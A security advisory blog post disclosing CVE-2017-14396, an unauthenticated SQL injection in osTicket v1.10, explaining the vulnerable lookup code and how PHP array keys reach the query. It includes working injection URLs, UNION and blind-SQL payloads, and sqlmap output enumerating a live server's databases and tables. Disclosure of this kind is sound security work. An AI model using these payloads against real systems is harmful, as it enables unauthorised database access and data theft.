Advisory | osTicket v1.10 Unauthenticated SQL Injection (CVE-2017-14396)

SEP 12, 2017

osTicket is a widely-used and trusted open source support ticket system. It seamlessly routes inquiries created via email, web-forms and phone calls into a simple, easy-to-use, multi-user, web-based customer support platform. osTicket comes packed with more features and tools than most of the expensive (and complex) support ticket systems on the market.

Advisory Informations

Remotely Exploitable: Yes
Authentication Required: NO
Versions Affected: ⩽ v1.10
Technology: PHP

Vendor URL: http://osticket.com/
CVSSv3 Score: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Date of found: 12 Sep 2017

Technical Details

While I was reviewing source code, I've came across with following code snippet at file.php on line 20.

```
1  //Basic checks
2  if (!$_GET['key']
3      || !$_GET['signature']
4      || !$_GET['expires']
5      || !($file = AttachmentFile::lookup($_GET['key']))
6  ) {
7      Http::response(404, __('Unknown or invalid file'));
8  }
```

Here is the static lookup function definition of AttachmentFile class.

```
static function lookup($id) {

    return is_string($id)
        ? static::lookupByHash($id)
        : parent::lookup($id);
}
```

So this function checks id parameter which is user supplied. If it's not a string, then it calls lookup function from parent class. Let's have a look at `parent::lookup`.

```
1  static function lookup($criteria) {
2      // Model::lookup(1), where >1< is the pk value
3      $args = func_get_args();
4      if (!is_array($criteria)) {
5          $criteria = array();
6          $pk = static::getMeta('pk');
7          foreach ($args as $i=>$f)
8              $criteria[$pk[$i]] = $f;
9
10         // Only consult cache for PK lookup, which is assumed if the
11         // values are passed as args rather than an array
12         if ($cached = ModelInstanceManager::checkCache(get_called_class(),
13                 $criteria))
14             return $cached;
15     }
```

```
16      try {
17          return static::objects()->filter($criteria)->one();
18      }
19      catch (DoesNotExist $e) {
20          return null;
21      }
22  }
```

We need to carefully read this section. Because this section gives a hint about database layer of osTicket. If you look closer to the lines between 5-8, you will recognise that we will have something as follow.

```
1  $criteria = array(
2      'ID' => 1337;
3  );
```

Ofcourse ID name is coming from `static::getMeta('pk')` call. And then we are seeing `static::objects()->filter($criteria)->one();` call which is where application starts to executing sql query. The query generated by the application will be something as follow. (assuming user input is 1)

```
SELECT [column] FROM [table] WHERE `id` = '1';
```

If you remember the $criteria array created the by application; array key becomes a column name and it's value becomes a data. Of course this data is sanitised by database layer.

The question is what will happen if the user input is an array instead of string ? Answer is SQL Injection. Let me show you how this is going to be happen.

Build an PHP Array from User Input

If you read following example, you will see that it's possible to build an array by using square brackets at the end of parameter name.

```
1  // test.php source code
2  <?php
3
4  $param = $_GET['param'];
5  echo(is_string($param) ? "string" : "array");
6
7  // Calling that file
8  http://127.0.0.1/test.php?param=pentest.blog
9  string
10
```

```
// Calling that file
http://127.0.0.1/test.php?param[]=pentest.blog
array

```

Let's see what is the array keys and values.

```
// test2.php source code
<?php

$param = $_GET['param'];
var_dump($param);

// http://127.0.0.1:8081/test.php?param[id][user]=1
array(1) {
  ["id"]=> array(1) {
        ["user"]=> string(1) "1"
  }
}
```

So we are able to define array keys as well. Now, it's time to go back to osTicket and manipulate the query..!

PoC

Let me recap user-input and generated sql query.

```
// Expected URL call
127.0.0.1/file.php?key=1&signature=1&expires=15104725311

SELECT [column] FROM [table] WHERE `id` = '1';

// Unexpected URL call
127.0.0.1/file.php?key[id` = 1 UNION SELECT 1,2,3--]=1&signature=1&expires=151

SELECT [column] FROM [table] WHERE `id` = 1 UNION SELECT 1,2,3--` = '1';

```

Converting parameters to an array and using array key as a injection point is not a something new..! (Remember Drupal 7.x sql core injection case)

Here is the sqlmap usage.

```
➜  sqlmap git:(master) ✗ python sqlmap.py -u "http://52.56.92.204/file.php?key

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://52.56.92.204:80/file.php?key[id`=1 AND 3307=3307#]=1&signa

    Type: AND/OR time-based blind
    Title: MySQL ⩾ 5.0.12 AND time-based blind
    Payload: http://52.56.92.204:80/file.php?key[id`=1 AND SLEEP(5)#]=1&signat
---
[11:53:29] [INFO] testing MySQL
[11:53:29] [INFO] confirming MySQL
[11:53:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx
back-end DBMS: MySQL ⩾ 5.0.0
[11:53:29] [INFO] fetching database names
[11:53:29] [INFO] fetching number of databases
[11:53:29] [WARNING] running in a single-thread mode. Please consider usage of
[11:53:29] [INFO] retrieved:
[11:53:29] [WARNING] reflective value(s) found and filtering out
2
[11:53:30] [INFO] retrieved: information_schema
[11:53:39] [INFO] retrieved: osticketdb
[11:53:44] [INFO] fetching tables for databases: 'information_schema, osticket
[11:53:44] [INFO] fetching number of tables for database 'osticketdb'
[11:53:44] [INFO] retrieved: 56
[11:53:45] [INFO] retrieved: ost__search
[11:53:50] [INFO] retrieved: ost_api_key
[11:53:55] [INFO] retrieved: ost_attachment
[11:54:00] [INFO] retrieved: ost_canned_response
[11:54:07] [INFO] retrieved: ost_config
[11:54:10] [INFO] retrieved: ost_content
[11:54:14] [INFO] retrieved: ost_department
[11:54:23] [INFO] retrieved: ost_draft
[11:54:27] [INFO] retrieved: ost_email
[11:54:30] [INFO] retrieved: ost_email_account
[11:54:36] [INFO] retrieved: ost_email_template
[11:54:40] [INFO] retrieved: ost_email_template_gro
...
```

Leave a Reply

Your email address will not be published.

Required fields are marked *

Comment *

Name *

Email *

Website

Save my name, email, and website in this browser for the next time I comment.

Verifying...

Privacy • Help

Post Comment

YOU MAY ALSO ENJOY…

The Story of a Perfect Exploit Chain: Six Bugs That L… JAN 2026

Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0… DEC 2025

The Chessboard of Security: Insights on Product Devel… NOV 2025

Digital Cosmos: A Journey Through the Galaxy of Vulne… OCT 2025

CVE-2021-3825 | LiderAhenk 0day - All your PARDUS Cli… DEC 2021

Search

Search